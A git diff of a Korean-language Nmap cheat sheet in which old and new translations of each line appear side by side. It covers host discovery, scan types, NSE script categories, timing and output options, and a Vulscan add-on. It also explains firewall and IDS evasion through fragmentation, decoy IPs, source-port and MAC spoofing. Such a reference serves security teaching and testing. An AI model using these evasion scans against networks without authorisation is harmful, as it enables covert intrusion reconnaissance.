|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
```
|
||||
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
||||
```
|
||||
|
@ -21,110 +25,127 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
### 스캔할 IP
|
||||
|
||||
* **`<ip>,<net/mask>`:** 직접 IP를 지정합니다.
|
||||
* **`-iL <ips_file>`:** IP 목록 파일을 사용합니다.
|
||||
* **`-iR <number>`**: 무작위 IP의 개수를 지정합니다. `--exclude <Ips>` 또는 `--excludefile <file>`로 가능한 IP를 제외할 수 있습니다.
|
||||
* **`-iL <ips_file>`:** IP 목록
|
||||
* **`-iR <number>`**: 랜덤 IP의 수, `--exclude <Ips>` 또는 `--excludefile <file>`로 제외할 수 있습니다.
|
||||
|
||||
### 장비 탐지
|
||||
### 장비 발견
|
||||
|
||||
기본적으로 Nmap은 `-PA80 -PS443 -PE -PP`로 구성된 탐지 단계를 실행합니다.
|
||||
기본적으로 Nmap은 `-PA80 -PS443 -PE -PP`로 구성된 발견 단계를 시작합니다.
|
||||
|
||||
* **`-sL`**: 침입적이지 않으며, 이름을 해결하기 위해 DNS 요청을 보내는 대상을 나열합니다. 예를 들어 www.prueba.es/24의 모든 IP가 대상인지 알 수 있습니다.
|
||||
* **`-Pn`**: **Ping 없음**. 모든 대상이 활성화되어 있다는 것을 알고 있다면 유용합니다. (그렇지 않으면 많은 시간이 소요될 수 있지만, 이 옵션은 활성화되지 않았다고 잘못된 결과를 보여줄 수도 있습니다.) 탐지 단계를 방지합니다.
|
||||
* **`-sn`** : **포트 스캔 없음**. 탐지 단계를 완료한 후 포트를 스캔하지 않습니다. 비교적 은밀하며, 작은 네트워크 스캔이 가능합니다. 권한이 있는 경우 80에 대해 ACK(-PA)를 보내고, 443에 대해 SYN(-PS)를 보내며, 에코 요청과 타임스탬프 요청을 보냅니다. 권한이 없는 경우 항상 연결을 완료합니다. 대상이 네트워크인 경우 ARP(-PR)만 사용합니다. 다른 옵션과 함께 사용하면 다른 옵션의 패킷만 삭제됩니다.
|
||||
* **`-PR`**: **ARP 핑**. 기본적으로 내 네트워크의 컴퓨터를 분석할 때 사용되며, 핑을 사용하는 것보다 빠릅니다. ARP 패킷을 사용하지 않으려면 `--send-ip`를 사용합니다.
|
||||
* **`-PS <ports>`**: SYN 패킷을 보내고, SYN/ACK로 응답하면 열려있는 것으로 간주합니다(연결을 끝내지 않기 위해 RST로 응답). RST로 응답하면 닫혀있는 것이고, 응답이 없으면 도달할 수 없는 것입니다. 권한이 없는 경우 자동으로 전체 연결을 사용합니다. 포트가 지정되지 않은 경우 80으로 보냅니다.
|
||||
* **`-PA <ports>`**: 이전과 동일하지만 ACK를 사용합니다. 두 옵션을 결합하면 더 좋은 결과를 얻을 수 있습니다.
|
||||
* **`-PU <ports>`**: 목표는 반대입니다. 닫혀있을 것으로 예상되는 포트로 보냅니다. 일부 방화벽은 TCP 연결만 확인합니다. 닫혀있으면 포트 도달 불가능으로 응답하고, 다른 ICMP로 응답하거나 응답이 없으면 대상 도달 불가능으로 남겨둡니다.
|
||||
* **`-PE, -PP, -PM`** : ICMP PING: 에코 응답, 타임스탬프, 주소 마스크. 대상이 활성화되어 있는지 확인하기 위해 전송됩니다.
|
||||
* **`-PY<ports>`**: 기본적으로 80으로 SCTP INIT 프로브를 보냅니다. INIT-ACK(열림) 또는 ABORT(닫힘) 또는 응답 없음 또는 ICMP 도달 불가능이 응답될 수 있습니다.
|
||||
* **`-PO <protocols>`**: 프로토콜이 헤더에 표시됩니다. 기본적으로 1(ICMP), 2(IGMP) 및 4(Encap IP)입니다. ICMP, IGMP, TCP(6) 및 UDP(17) 프로토콜의 경우 프로토콜 헤더가 전송되고, 나머지 경우에는 IP 헤더만 전송됩니다. 이는 헤더의 형태가 잘못되어 프로토콜 도달 불가능 또는 동일한 프로토콜의 응답이 도착하여 상태를 확인하기 위해 사용됩니다.
|
||||
* **`-sL`**: 침입적이지 않고, DNS 이름을 해결하기 위해 이름을 확인하는 대상을 나열합니다. 예를 들어 www.prueba.es/24의 모든 IP가 대상인지 확인하는 데 유용합니다.
|
||||
* **`-Pn`**: 핑 없음. 모두 활성 상태임을 알고 있는 경우 유용합니다(그렇지 않으면 많은 시간이 소요될 수 있지만, 이 옵션은 활성 상태가 아니라고 잘못 알려줄 수도 있음). 발견 단계를 방지합니다.
|
||||
* **`-sn`** : 포트 스캔 없음. 정찰 단계를 완료한 후 포트를 스캔하지 않습니다. 비교적 은밀하며 작은 네트워크 스캔을 허용합니다. 권한이 있는 경우 80번으로 ACK(-PA), 443번으로 SYN(-PS) 및 echo 요청 및 타임스탬프 요청을 보냅니다. 대상이 네트워크인 경우 ARP(-PR)만 사용합니다. 다른 옵션과 함께 사용하면 다른 옵션의 패킷만 삭제됩니다.
|
||||
* **`-PR`**: ARP 핑. 네트워크의 컴퓨터를 분석할 때 기본적으로 사용되며, 핑을 사용하는 것보다 빠릅니다. ARP 패킷을 사용하지 않으려면 `--send-ip`를 사용하십시오.
|
||||
* **`-PS <ports>`**: SYN 패킷을 보내서 SYN/ACK로 응답하는 경우 열려 있습니다(연결을 끝내지 않기 위해 RST로 응답), RST로 응답하는 경우 닫혀 있으며 응답이 없는 경우 접근할 수 없습니다. 권한이 없는 경우 전체 연결이 자동으로 사용됩니다. 포트가 지정되지 않은 경우 80번으로 전송됩니다.
|
||||
* **`-PA <ports>`**: 이전과 유사하지만 ACK를 사용하여 더 나은 결과를 제공합니다.
|
||||
* **`-PU <ports>`**: 목적은 반대로, 닫혀 있을 것으로 예상되는 포트로 전송됩니다. 일부 방화벽은 TCP 연결만 확인합니다. 닫혀 있으면 포트 접근 불가로 응답되며, 다른 icmp로 응답되거나 응답이 없는 경우 대상 접근 불가로 남겨집니다.
|
||||
* **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp 및 addresmask. 대상이 활성인지 확인하기 위해 전송됩니다.
|
||||
* **`-PY<ports>`**: 기본적으로 80번으로 SCTP INIT 프로브를 보내며, INIT-ACK(열림) 또는 ABORT(닫힘) 또는 아무것도 또는 ICMP 접근 불가능(비활성)으로 응답될 수 있습니다.
|
||||
* **`-PO <protocols>`**: 헤더에 프로토콜이 지정됩니다. 기본적으로 1(ICMP), 2(IGMP) 및 4(Encap IP)입니다. ICMP, IGMP, TCP(6) 및 UDP(17) 프로토콜의 경우 프로토콜 헤더가 전송되며, 나머지에 대해서는 IP 헤더만 전송됩니다. 이는 헤더의 형태가 변형되어 프로토콜이 업무인지 또는 동일한 프로토콜의 응답인지 확인하기 위해 프로토콜 접근 불가능 또는 동일한 프로토콜의 응답이 되도록 응답됩니다.
|
||||
* **`-n`**: DNS 없음
|
||||
* **`-R`**: 항상 DNS
|
||||
|
||||
### 포트 스캔 기법
|
||||
### 포트 스캔 기술
|
||||
|
||||
* **`-sS`**: 연결을 완료하지 않으므로 추적이 남지 않습니다. 사용할 수 있는 경우 매우 좋습니다.(권한 필요) 기본적으로 사용됩니다.
|
||||
* **`-sT`**: 연결을 완료하므로 추적이 남지만 안전하게 사용할 수 있습니다. 기본적으로 권한이 없습니다.
|
||||
* **`-sU`**: 느리며, UDP에 사용됩니다. 대부분: DNS(53), SNMP(161,162), DHCP(67 및 68), (-sU53,161,162,67,68): 열림(응답), 닫힘(포트 도달 불가능), 필터링(다른 ICMP), 열림/필터링(응답 없음). 열림/필터링인 경우, -sV는 nmap이 지원하는 버전 중 하나를 감지하기 위해 많은 요청을 보냅니다. 시간이 많이 소요됩니다.
|
||||
* **`-sY`**: SCTP 프로토콜은 연결을 설정하지 못하므로 로그가 없습니다. -PY와 동작 방식이 동일합니다.
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, 일부 방화벽을 통해 침투하고 정보를 추출할 수 있습니다. 표준을 준수하는 기기는 SYN, RST 또는 ACK 플래그가 설정되지 않은 요청에 대해 모두 RST로 응답해야 한다는 사실에 기초합니다: 열림/필터링(응답 없음), 닫힘(RST), 필터링(ICMP 도달 불가능). Windows, CIsco, BSDI 및 OS/400에서 신뢰할 수 없습니다. Unix에서는 가능합니다.
|
||||
* **`-sM`**: Maimon 스캔: FIN 및 ACK 플래그를 보냅니다. 현재 BSD에 사용되며 모두 닫혀있는 것으로 반환됩니다.
|
||||
* **`-sA, sW`**: ACK 및 Window, 방화벽을 감지하기 위해 사용되며, 포트가 필터링되었는지 여부를 알 수 있습니다. -sW는 열린 포트가 다른 창 값으로 응답하기 때문에 열림/닫힘을 구분합니다
|
||||
**--osscan-guess** OS 감지가 완벽하지 않을 때 더 많은 노력을 기울입니다.
|
||||
* **`-sS`**: 연결을 완료하지 않으므로 추적이 남지 않습니다. 사용 가능한 경우 매우 좋습니다(권한 필요). 기본적으로 사용됩니다.
|
||||
* **`-sT`**: 연결을 완료하므로 추적이 남지만 확실하게 사용할 수 있습니다. 기본적으로 권한이 없는 경우 사용됩니다.
|
||||
* **`-sU`**: UDP를 위한 느린 스캔. 주로: DNS(53), SNMP(161,162), DHCP(67 및 68), (-sU53,161,162,67,68): 열림(응답), 닫힘(포트 접근 불가능), 필터링(다른 ICMP), 열림/필터링(아무것도). 열림/필터링의 경우, -sV는 nmap이 지원하는 버전 중 하나를 감지하고 실제 상태를 감지할 수 있도록 여러 요청을 보냅니다. 시간이 많이 소요됩니다.
|
||||
* **`-sY`**: SCTP 프로토콜은 연결을 설정하지 못하므로 로그가 없습니다. -PY처럼 작동합니다.
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, 일부 방화벽을 관통하고 정보를 추출할 수 있습니다. SYN, RST 또는 ACK 플래그가 없는 모든 요청에 RST로 응답해야 한다는 사실에 기초합니다: 열림/필터링(아무것도), 닫힘(RST), 필터링(ICMP 접근 불가능). Windows, CIsco, BSDI 및 OS/400에서 신뢰할 수 없습니다. Unix에서는 신뢰할 수 있습니다.
|
||||
* **`-sM`**: Maimon 스캔: FIN 및 ACK 플래그를 보냅니다. 현재 BSD에서는 모두 닫힌 것으로 반환됩니다.
|
||||
* **`-sA, sW`**: ACK 및 Window, 방화벽을 감지하고 포트가 필터링되었는지 여부를 파악하는 데 사용됩니다. -sW는 열림/닫힘을 구별합니다. 열린 포트는 창 값이 다른 RST로 응답하며, 닫힌 포트는 창 = 0인 RST로 응답하며, 필터링된 포트는 ICMP 접근 불가능 또는 아무것도 응답합니다. 모든 컴퓨터가 이렇게 작동하는 것은 아니므로 모두 닫힌 경우 작동하지 않으며, 일부 열린 경우 잘 작동하며, 많이 열린 경우와 일부 닫힌 경우는 반대로 작동합니다.
|
||||
* **`-sI`:** Idle scan. 활성 방화벽이 있지만 특정 IP로 필터링되지 않는다는 것을 알고 있는 경우(또는 익명성을 원하는 경우) 좀비 스캐너를 사용할 수 있습니다(모든 포트에 대해 작동). 가능한 좀비를 찾기 위해 ipidseq 스크립트 또는 exploit auxiliary/scanner/ip/ipidseq를 사용할 수 있습니다. 이 스캐너는 IP 패킷의 IPID 번호를 기반으로 합니다.
|
||||
* **`--badsum`:** 잘못된 합계를 보냅니다. 컴퓨터는 패킷을 버릴 수 있지만 방화벽은 응답할 수 있습니다. 방화벽을 감지하는 데 사용됩니다.
|
||||
* **`-sZ`:** "이상한" SCTP 스캐너로, 쿠키 에코 조각을 보내면 열린 경우 삭제되거나 닫힌 경우 ABORT로 응답해야 합니다. 초기화가 통과하지 못하는 방화벽을 통과할 수 있지만, 필터링된 상태와 열린 상태를 구별하지 못합니다.
|
||||
* **`-sO`:** 프로토콜 IP 스캔. 때로는 프로토콜을 식별할 수 없는 잘못된 및 빈 헤더를 보냅니다. ICMP 접근 불가능 프로토콜이 도착하면 닫힌 것이고, 접근 불가능한 포트가 도착하면 열린 것이며, 다른 오류가 도착하면 필터링되며, 아무것도 도착하지 않으면 열림|필터링입니다.
|
||||
* **`-b <server>`:** FTPhost--> 다른 호스트에서 호스트를 스캔하는 데 사용됩니다. 다른 기계의 FTP에 연결하여 해당 기계에서 스캔하려는 포트로 파일을 보내도록 요청합니다. 응답에 따라 해당 포트가 열려 있는지 여부를 알 수 있습니다. \[\<user>:\<password>@]\<server>\[:\<port>] 대부분의 FTP 서버는 더 이상 이 작업을 허용하지 않으므로 실용적인 용도가 거의 없습니다.
|
||||
|
||||
### **분석 중심**
|
||||
|
||||
**-p:** 스캔할 포트를 지정하는 데 사용됩니다. 65335개를 선택하려면 **-p-** 또는 **-p all**을 사용합니다. Nmap은 인기에 따라 내부적으로 분류됩니다. 기본적으로 상위 1000개를 사용합니다. **-F** (빠른 스캔)으로 상위 100개를 분석합니다. **--top-ports \<numero>**로 해당 수의 상위 포트를 분석합니다(1부터 65335까지). 포트를 무작위로 확인하므로 이를 방지하려면 **-r**을 사용합니다. 또한 포트를 선택할 수 있습니다: 20-30,80,443,1024- 이는 1024 이상을 확인합니다. 또한 프로토콜별로 포트를 그룹화할 수 있습니다: U:53,T:21-25,80,139,S:9. 또한 nmap의 인기 있는 포트 범위 내에서 범위를 선택할 수 있습니다: -p \[-1024]는 nmap-services에 포함된 1024까지 분석합니다. **--port-ratio \<ratio>**는 0과 1 사이여야 하는 비율로 가장 일반적인 포트를 분석합니다.
|
||||
|
||||
**-sV** 버전 스캔은 0에서 9까지의 강도를 조절할 수 있으며 기본값은 7입니다.
|
||||
|
||||
**--version-intensity \<numero>** 강도를 조절하여 더 낮은 값은 가장 가능성이 높은 프로브만 보내고 모두 보내지 않습니다. 이를 통해 UDP 스캔 시간을 크게 단축할 수 있습니다.
|
||||
|
||||
**-O** 운영 체제 감지
|
||||
|
||||
**--osscan-limit** 호스트를 올바르게 스캔하려면 적어도 하나의 포트가 열려 있고 다른 하나가 닫혀 있어야 합니다. 이 조건이 충족되지 않고 이 옵션을 설정한 경우 OS 예측을 시도하지 않습니다(시간을 절약함)
|
||||
**--osscan-guess** OS 감지가 완벽하지 않을 때 추가 노력을 기울입니다.
|
||||
|
||||
**스크립트**
|
||||
|
||||
\--script _\<파일명>_|_\<카테고리>_|_\<디렉토리>_|_\<표현식>_\[,...]
|
||||
\--script _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_\[,...]
|
||||
|
||||
기본 스크립트를 사용하려면 -sC 또는 --script=default를 사용하면 됩니다.
|
||||
기본적으로 -sC 또는 --script=default로 사용 가능
|
||||
|
||||
사용 가능한 스크립트 유형은 다음과 같습니다: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln
|
||||
사용 가능한 유형: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln
|
||||
|
||||
* **Auth:** 인증에 사용 가능한 모든 스크립트를 실행합니다.
|
||||
* **Default:** 도구의 기본 스크립트를 실행합니다.
|
||||
* **Discovery:** 대상 또는 피해자의 정보를 검색합니다.
|
||||
* **External:** 외부 리소스를 사용하는 스크립트입니다.
|
||||
* **Intrusive:** 피해자 또는 대상에게 침입적인 스크립트를 사용합니다.
|
||||
* **Malware:** 악성 코드 또는 백도어로 인해 열린 연결을 확인합니다.
|
||||
* **Safe:** 침입적이지 않은 스크립트를 실행합니다.
|
||||
* **Vuln:** 가장 잘 알려진 취약점을 발견합니다.
|
||||
* **All:** 가능한 모든 NSE 확장자를 가진 스크립트를 실행합니다.
|
||||
* **Auth:** 인증용 사용 가능한 모든 _스크립트_ 실행
|
||||
* **Default:** 도구의 기본 _스크립트_ 실행
|
||||
* **Discovery:** 대상 또는 피해자 정보 검색
|
||||
* **External:** 외부 리소스 사용을 위한 _스크립트_
|
||||
* **Intrusive:** 피해자나 대상에 대해 침입적으로 간주되는 _스크립트_ 사용
|
||||
* **Malware:** 악성 코드나 백도어로 인한 열린 연결 확인
|
||||
* **Safe:** 침입적이지 않은 _스크립트_ 실행
|
||||
* **Vuln:** 가장 잘 알려진 취약점 발견
|
||||
* **All:** 가능한 모든 NSE 확장 _스크립트_ 실행
|
||||
|
||||
스크립트를 검색하려면:
|
||||
스크립트 검색:
|
||||
|
||||
**nmap --script-help="http-\*" -> http-로 시작하는 스크립트**
|
||||
**nmap --script-help="http-\*" -> http-로 시작하는 것들**
|
||||
|
||||
**nmap --script-help="not intrusive" -> 해당되지 않는 모든 스크립트**
|
||||
**nmap --script-help="not intrusive" -> 해당하지 않는 모든 것들**
|
||||
|
||||
**nmap --script-help="default or safe" -> 하나 또는 둘 다에 속하는 스크립트**
|
||||
**nmap --script-help="default or safe" -> 하나 또는 둘 중 하나 또는 둘 다에 속하는 것들**
|
||||
|
||||
**nmap --script-help="default and safe" --> 둘 다에 속하는 스크립트**
|
||||
**nmap --script-help="default and safe" --> 둘 다에 속하는 것들**
|
||||
|
||||
**nmap --script-help="(default or safe or intrusive) and not http-\*"**
|
||||
|
||||
\--script-args _\<n1>_=_\<v1>_,_\<n2>_={_\<n3>_=_\<v3>_},_\<n4>_={_\<v4>_,_\<v5>_}
|
||||
|
||||
\--script-args-file _\<파일명>_
|
||||
\--script-args-file _\<filename>_
|
||||
|
||||
\--script-help _\<파일명>_|_\<카테고리>_|_\<디렉토리>_|_\<표현식>_|all\[,...]
|
||||
\--script-help _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_|all\[,...]
|
||||
|
||||
\--script-trace ---> 스크립트 진행 상황 정보 제공
|
||||
|
||||
\--script-updatedb
|
||||
|
||||
**스크립트를 사용하려면 단순히 nmap --script Script_Name target을 입력하면 됩니다.** --> 스크립트를 입력하면 스크립트와 스캐너가 모두 실행되므로 스캐너 옵션도 추가할 수 있습니다. "safe=1"을 추가하여 안전한 스크립트만 실행할 수 있습니다.
|
||||
**스크립트 사용 시: nmap --script Script_Name target** --> 스크립트와 스캐너가 실행되며, 스캐너 옵션도 추가할 수 있습니다. **“safe=1”**를 추가하여 안전한 것들만 실행할 수 있습니다.
|
||||
|
||||
**시간 제어**
|
||||
|
||||
**Nmap은 초, 분, 밀리초 단위로 시간을 조정할 수 있습니다:** --host-timeout arguments 900000ms, 900, 900s, and 15m 모두 동일한 작업을 수행합니다.
|
||||
**Nmap은 초, 분, ms 단위로 시간을 조정할 수 있습니다:** --host-timeout arguments 900000ms, 900, 900s, and 15m 모두 동일한 작업을 수행합니다.
|
||||
|
||||
Nmap은 스캔할 호스트의 총 수를 그룹으로 나누고, 이러한 그룹을 블록으로 분석하여 모든 그룹이 분석될 때까지 다음 블록으로 이동하지 않습니다(사용자도 블록이 분석될 때까지 업데이트를 받지 않습니다). 이렇게 하면 Nmap이 큰 그룹을 사용하는 것이 더 효율적입니다. 기본적으로 C 클래스에서는 256을 사용합니다.
|
||||
Nmap은 총 호스트 수를 그룹으로 나누어 그룹을 블록 단위로 분석하므로 모든 그룹이 분석될 때까지 다음 블록으로 넘어가지 않습니다 (사용자도 블록이 분석될 때까지 업데이트를 받지 않음). 이렇게 하면 nmap이 대규모 그룹을 사용하는 것이 더 효율적입니다. 기본적으로 클래스 C에서 256을 사용합니다.
|
||||
|
||||
다음과 같이 변경할 수 있습니다. **--min-hostgroup** _**\<호스트수>**_**;** **--max-hostgroup** _**\<호스트수>**_ (병렬 스캔 그룹 크기 조정)
|
||||
변경 가능: **--min-hostgroup** _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (병렬 스캔 그룹 크기 조정)
|
||||
|
||||
병렬 스캔 수를 제어할 수 있지만 권장하지 않습니다(Nmap은 네트워크 상태에 따라 자동으로 제어합니다): **--min-parallelism** _**\<프로브수>**_**;** **--max-parallelism** _**\<프로브수>**_
|
||||
병렬로 실행되는 스캐너 수를 제어할 수 있지만 권장하지 않습니다 (네트워크 상태에 따라 nmap이 자동으로 제어): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
|
||||
RTT 타임아웃을 수정할 수 있지만 일반적으로 필요하지 않습니다: **--min-rtt-timeout** _**\<시간>**_**,** **--max-rtt-timeout** _**\<시간>**_**,** **--initial-rtt-timeout** _**\<시간>**_
|
||||
RTT 타임아웃을 조정할 수 있지만 일반적으로 필요하지 않습니다: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
|
||||
시도 횟수를 수정할 수 있습니다: **--max-retries** _**\<시도횟수>**_
|
||||
시도 횟수를 조정할 수 있습니다:**--max-retries** _**\<numtries>**_
|
||||
|
||||
호스트의 스캔 시간을 수정할 수 있습니다: **--host-timeout** _**\<시간>**_
|
||||
호스트의 스캔 시간을 조정할 수 있습니다: **--host-timeout** _**\<time>**_
|
||||
|
||||
각 테스트 간의 시간을 느리게 조정할 수 있습니다: **--scan-delay** _**\<시간>**_**;** **--max-scan-delay** _**\<시간>**_
|
||||
각 테스트 사이의 시간을 느리게 조정할 수 있습니다: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
|
||||
초당 패킷 수를 수정할 수 있습니다: **--min-rate** _**\<숫자>**_**;** **--max-rate** _**\<숫자>**_
|
||||
초당 패킷 수를 조정할 수 있습니다: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
|
||||
많은 포트는 필터링되거나 닫혀 있어 응답하는 데 시간이 오래 걸립니다. 열려 있는 포트만 관심이 있는 경우 다음과 같이 더 빠르게 스캔할 수 있습니다: **--defeat-rst-ratelimit**
|
||||
많은 포트가 필터링되거나 닫혀 있어 응답이 오래 걸릴 수 있습니다. 열린 포트만 관심이 있는 경우 더 빠르게 진행할 수 있습니다: **--defeat-rst-ratelimit**
|
||||
|
||||
Nmap의 공격 강도를 정의하는 데 사용할 수 있습니다: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
Nmap의 공격적 정도를 정의할 수 있습니다: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
|
||||
\-T (0-1)
|
||||
|
||||
\-T0 --> 한 번에 1개의 포트만 스캔하고 다음까지 5분을 기다립니다.
|
||||
\-T0 --> 한 번에 1개의 포트만 스캔하고 다음까지 5분 대기
|
||||
|
||||
\-T1 및 T2 --> 매우 유사하지만 각 테스트 간에 15초 및 0.4초를 기다립니다.
|
||||
\-T1 and T2 --> 매우 유사하지만 각 테스트 사이에 15초와 0.4초 대기
|
||||
|
||||
\-T3 --> 기본 동작, 병렬로 실행됩니다.
|
||||
\-T3 --> 기본 동작, 병렬로 실행
|
||||
|
||||
\-T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms
|
||||
|
||||
|
@ -132,16 +153,40 @@ Nmap의 공격 강도를 정의하는 데 사용할 수 있습니다: -T paranoi
|
|||
|
||||
**방화벽/IDS**
|
||||
|
||||
포트를 차단하고 패킷을 분석합니다.
|
||||
포트를 통과시키지 않고 패킷을 분석합니다.
|
||||
|
||||
**-f** 패킷을 조각화하기 위해 사용됩니다. 기본적으로 헤더 이후 8바이트로 조각화되며, 이 크기를 지정하려면 ..mtu를 사용합니다(-f를 사용하지 않습니다). 오프셋은 8의 배수여야 합니다. **버전 스캐너 및 스크립트는 조각화를 지원하지 않습니다.**
|
||||
**-f** 패킷을 조각내어 전송합니다. 기본적으로 헤더 이후 8바이트로 조각화되며, 이 크기를 지정하려면 ..mtu를 사용합니다 (-f를 사용하지 않음). 오프셋은 8의 배수여야 합니다. **버전 스캐너 및 스크립트는 조각화를 지원하지 않습니다**
|
||||
|
||||
**-D decoy1,decoy2,ME** Nmap은 다른 IP 주소를 출발지로 사용하여 스캔을 보냅니다. 이렇게 하면 자신을 숨길 수 있습니다
|
||||
**--proxies** _**\<Comma-separated list of proxy URLs>**_ 프록시를 사용하기 위해 때때로 nmap이 원하는만큼의 연결을 유지하지 못하는 경우가 있으므로 병렬성을 수정해야합니다: --max-parallelism
|
||||
**-D decoy1,decoy2,ME** Nmap은 다른 IP 주소를 송신지로 사용하여 스캔을 보냅니다. ME를 목록에 추가하면 Nmap이 해당 위치에 당신을 숨깁니다. 완전히 가려지려면 자신의 앞에 5개 또는 6개를 더 추가하는 것이 좋습니다. RND:\<number>로 무작위 IP를 생성할 수 있습니다. TCP 연결 없는 버전 탐지기와 함께 작동하지 않습니다. 네트워크 내에 있을 때 활성 상태인 IP를 사용하는 것이 좋습니다.
|
||||
|
||||
**-sP** ARP를 통해 네트워크에서 호스트를 발견하기 위해 사용됩니다.
|
||||
무작위 IP 사용: nmap-D RND: 10 Target_IP
|
||||
|
||||
많은 관리자들은 특정 포트(예: 20, 53 및 67)에서 오는 모든 패킷을 통과시키는 방화벽 규칙을 생성합니다. 우리는 nmap에게 해당 포트에서 패킷을 보내도록 지시할 수 있습니다: **nmap --source-port 53 Ip**
|
||||
**-S IP** Nmap이 IP 주소를 감지하지 못할 때 해당 IP 주소를 제공해야 합니다. 또한 다른 대상이 스캔 중인 것처럼 보이게 할 수 있습니다.
|
||||
|
||||
**-e \<interface>** 인터페이스 선택
|
||||
|
||||
많은 관리자들은 모든 것이 올바르게 작동하도록 입력 포트를 열어둡니다. DNS 또는 FTP 포트일 수 있습니다. 이 취약성을 찾기 위해 nmap은 다음을 포함합니다: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _동일한 기능_
|
||||
|
||||
**--data** _**\<hex string>**_ 16진수 텍스트 전송: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
|
||||
**--data-string** _**\<string>**_ 일반 텍스트 전송: --data-string "Scan conducted by Security Ops, extension 7192"
|
||||
|
||||
**--data-length** _**\<number>**_ Nmap은 헤더만 보내고, 여기에 무작위로 생성된 바이트 수를 추가합니다.
|
||||
|
||||
IP 패킷을 완전히 구성하려면 **--ip-options** 사용
|
||||
|
||||
전송 및 수신된 패킷의 옵션을 보려면 --packet-trace 지정. Nmap에서 IP 옵션 사용에 대한 자세한 정보 및 예제는 [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52)를 참조하십시오.
|
||||
|
||||
**--ttl** _**\<value>**_
|
||||
|
||||
**--randomize-hosts** 공격이 덜 눈에 띄도록 함
|
||||
|
||||
**--spoof-mac** _**\<MAC address, prefix, or vendor name>**_ MAC 주소 변경: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||
**--proxies** _**\<Comma-separated list of proxy URLs>**_ 프록시를 사용하려면 때때로 nmap이 원하는만큼의 연결을 유지하지 못하는 경우가 있으므로 병렬성을 수정해야 합니다: --max-parallelism
|
||||
|
||||
**-sP** ARP를 통해 현재 네트워크의 호스트를 발견합니다.
|
||||
|
||||
많은 관리자들이 특정 포트(예: 20, 53 및 67)에서 오는 모든 패킷을 통과시키는 방화벽 규칙을 만듭니다. nmap에게 이러한 포트에서 패킷을 보내도록 지시할 수 있습니다: **nmap --source-port 53 Ip**
|
||||
|
||||
**출력**
|
||||
|
||||
|
@ -153,31 +198,31 @@ Nmap의 공격 강도를 정의하는 데 사용할 수 있습니다: -T paranoi
|
|||
|
||||
**-oG file** grepable 출력
|
||||
|
||||
**-oA file** -oS를 제외한 모든 출력
|
||||
**-oA file** -oS를 제외한 모든 것
|
||||
|
||||
**-v level** 상세도
|
||||
|
||||
**-d level** 디버깅
|
||||
|
||||
**--reason** 호스트 및 상태에 대한 이유
|
||||
**--reason** 호스트 및 상태의 이유
|
||||
|
||||
**--stats-every time** 주어진 시간마다 진행 상황을 알려줍니다.
|
||||
**--stats-every time** 주기적으로 진행 상황을 알려줍니다
|
||||
|
||||
**--packet-trace** 보낸 패킷을 확인하기 위해 --version-trace 또는 --script-trace와 같은 필터를 지정할 수 있습니다.
|
||||
**--packet-trace** 보낸 패킷을 확인할 수 있으며 --version-trace 또는 --script-trace와 같은 필터를 지정할 수 있습니다
|
||||
|
||||
**--open** 열린, 열린|필터링된 및 필터링되지 않은 것을 표시합니다.
|
||||
**--open** 열린, 열린|차단된 및 차단되지 않은 것을 표시합니다
|
||||
|
||||
**--resume file** 요약을 생성합니다.
|
||||
**--resume file** 요약본 생성
|
||||
|
||||
**기타**
|
||||
|
||||
**-6** IPv6를 허용합니다.
|
||||
**-6** IPv6 허용
|
||||
|
||||
**-A** -O -sV -sC --traceroute와 동일합니다.
|
||||
**-A** -O -sV -sC --traceroute와 동일
|
||||
|
||||
**실행 시간**
|
||||
|
||||
nmap이 실행되는 동안 옵션을 변경할 수 있습니다:
|
||||
nmap을 실행하는 동안 옵션을 변경할 수 있습니다:
|
||||
|
||||
v / V 상세도 레벨 증가 / 감소
|
||||
|
||||
|
@ -185,13 +230,13 @@ d / D 디버깅 레벨 증가 / 감소
|
|||
|
||||
p / P 패킷 추적 켜기 / 끄기
|
||||
|
||||
? 런타임 상호작용 도움말 화면 출력
|
||||
? 실행 중 상호 작용 도움말 화면 출력
|
||||
|
||||
**Vulscan**
|
||||
|
||||
nmap 스크립트로, 오프라인 데이터베이스(주요 데이터베이스에서 다운로드)에서 얻은 서비스 버전을 확인하고 가능한 취약점을 반환합니다.
|
||||
nmap 스크립트로, 오프라인 데이터베이스(중요한 다른 데이터베이스에서 다운로드한)에서 얻은 서비스 버전을 확인하고 가능한 취약점을 반환합니다.
|
||||
|
||||
사용하는 데이터베이스는 다음과 같습니다:
|
||||
사용하는 데이터베이스:
|
||||
|
||||
1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
|
||||
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
|
||||
|
@ -210,28 +255,30 @@ wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar
|
|||
|
||||
사용법:
|
||||
|
||||
